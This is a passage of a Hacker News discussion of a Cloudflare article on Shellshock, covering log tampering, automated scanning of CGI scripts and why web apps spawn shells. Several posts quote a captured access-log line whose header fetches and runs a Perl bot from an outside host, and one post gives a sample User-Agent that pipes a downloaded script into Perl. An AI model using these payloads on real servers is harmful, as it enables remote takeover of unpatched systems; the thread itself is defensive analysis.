Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Inside Shellshock: How hackers are using it to exploit systems

blog.cloudflare.com

Post reply on HN
Print view View original

51–60 of 94 posts

Re: Inside Shellshock: How hackers are using it to exploit systems

#51

Post by eeZi »

unfamiliar wrote: post #34
segmondy wrote: post #22

That /^cleanlogs/ just made me cringe. Holy crap.

I feel like there should be some way to verify that logs have not been tampered with. For example, including a checksum of the file up until that point on each line. Unfortunately they could just be rewritten after the log has changed. The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.

systemd's journal does this:

https://lwn.net/Articles/512895/

But only every ~15 minutes or so.

Re: Inside Shellshock: How hackers are using it to exploit systems

#52

Post by pja »

I'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for a given vulnerable cgi script.

In this specific case, the exploit route is via the darcsweb.cgi python script which calls os.popen4() which in turn spawns /bin/sh. If /bin/sh had been bash it would have been all over for my server. This is not a cgi script in wide use (Debian popularity contest says that 22 people have installed it & registered with popcon!) yet it's still worth poking my server, which implies to me that this is an automated search of all the exploitable code they've found.

There's no security in obscurity here...

Re: Inside Shellshock: How hackers are using it to exploit systems

#53

Post by doctorshady »

meowface wrote: post #14
guylhem wrote: post #8

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…

"In the wild" is an understatement; at the current moment the scanning traffic is nearly worm-level (though this is not nearly as wormable as some of the classic worms of olde). Within about an hour of the first public disclosure, bots started scanning for it: some white hat, others not so much. Big websites are seeing scans from bots run by 50 or more different unrelated entities at the moment. It's really easy for…

Are the bots scanning for anything besides HTTP-based Shellshock vulnerabilities?

Re: Inside Shellshock: How hackers are using it to exploit systems

#54

Post by morgante »

lutusp wrote: post #48
morgante wrote: post #45

Earlier quoted context omitted.

You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell. My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.

> You didn't address my concerns at all. You asked a question, I provided the answer and example code to the actual question that you asked . > My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person w…

> You asked a question, I provided the answer and example code to the actual question that you asked.

No, you must emphatically did not.

This is the question I asked:

> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

Put more clearly, I was asking for an example of a modern, well-developed website which would be vulnerable to Shellshock. (I don't think anyone would characterize CGI scripts as modern.) Your question didn't get anywhere near providing that.

I don't need a condescending explanation of why Shellshock is bad if you open a shell. I need an explanation (preferably with an example of actual code) of why somebody is actually shelling out in a modern web app.

Put another way, Shellshock could literally cause a computer to explode anytime a shell is opened from the app. This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.

Re: Inside Shellshock: How hackers are using it to exploit systems

#55

Post by pja »

guylhem wrote: post #8

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…

I've been emailing the abuse contacts for the source ip address in the logs with the relevant log snippet. Some hosting providers are more responsive than others it has to be said - I've had no response at all from some big name hosting companies whilst others have been very quick to sort things out.

Re: Inside Shellshock: How hackers are using it to exploit systems

#56

Post by morgante »

M4v3R wrote: post #49
morgante wrote: post #46

Earlier quoted context omitted.

> Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice. > Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you. Does tha…

Yes, it will, because: - Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value - Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; .…

Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input.

> which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff

I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to me.

Re: Inside Shellshock: How hackers are using it to exploit systems

#57

Post by grey-area »

morgante wrote: post #45
lutusp wrote: post #41

Earlier quoted context omitted.

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. Definitely read on. > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be…

You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell. My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.

My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.

There are two parts to this:

The web server adds various bits of user input to an ENV variable (e.g. user agent)

Bash is vulnerable to malicious functions in any ENV variable on startup

So your reasonably designed modern web app does not need to have user input anywhere near a shell. Your web app just needs to interact with other processes on the machine with a system call (for example sending mail, calling git for a service like github), it doesn't need to actually put user input into a system call (which is an obvious no-no).

Re: Inside Shellshock: How hackers are using it to exploit systems

#58

Post by angelofm »

buro9 wrote: post #32
guylhem wrote: post #8

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…

I've also seen some in the wild, and I'm behind CloudFlare. CloudFlare have stopped the attacks reaching us now, but a few got through on the 29th September (this is a Pro account). I'm not sure precisely when the CloudFlare protection started, but all servers involved were patched as soon as the patches were available (before the first attacks reached my servers). The log file entries: 200.91.29.35 - - [29/Sep/2014:…

It's interesting to note that some code has been wrote from Portuguese/Brasilian devs and other parts from an Italian one, which leads to speculation that it was not a one band man but instead a group.

Re: Inside Shellshock: How hackers are using it to exploit systems

#59

Post by grey-area »

morgante wrote: post #56
M4v3R wrote: post #49

Earlier quoted context omitted.

Yes, it will, because: - Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value - Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; .…

Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input. > which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to…

Here's an example from Wordpress:

   if (!@$mail = popen($sendmail, 'w')) {
Here's another example from Active Record:

   Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}")
This is not uncommon, and your web app probably do it if you send mail or interact with other services on the machine. There are quite a few examples in most frameworks, are you completely sure nothing you depend on calls popen?

Far safer just to update bash.

Re: Inside Shellshock: How hackers are using it to exploit systems

#60

Post by angelofm »

guylhem wrote: post #8

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…

First thing I noticed was this: "Legend Bot [2011] DO NOT FUCKIN SHARE!" on the comments, does this mean they have been running this since 2011?

I hope not.

Post reply on HN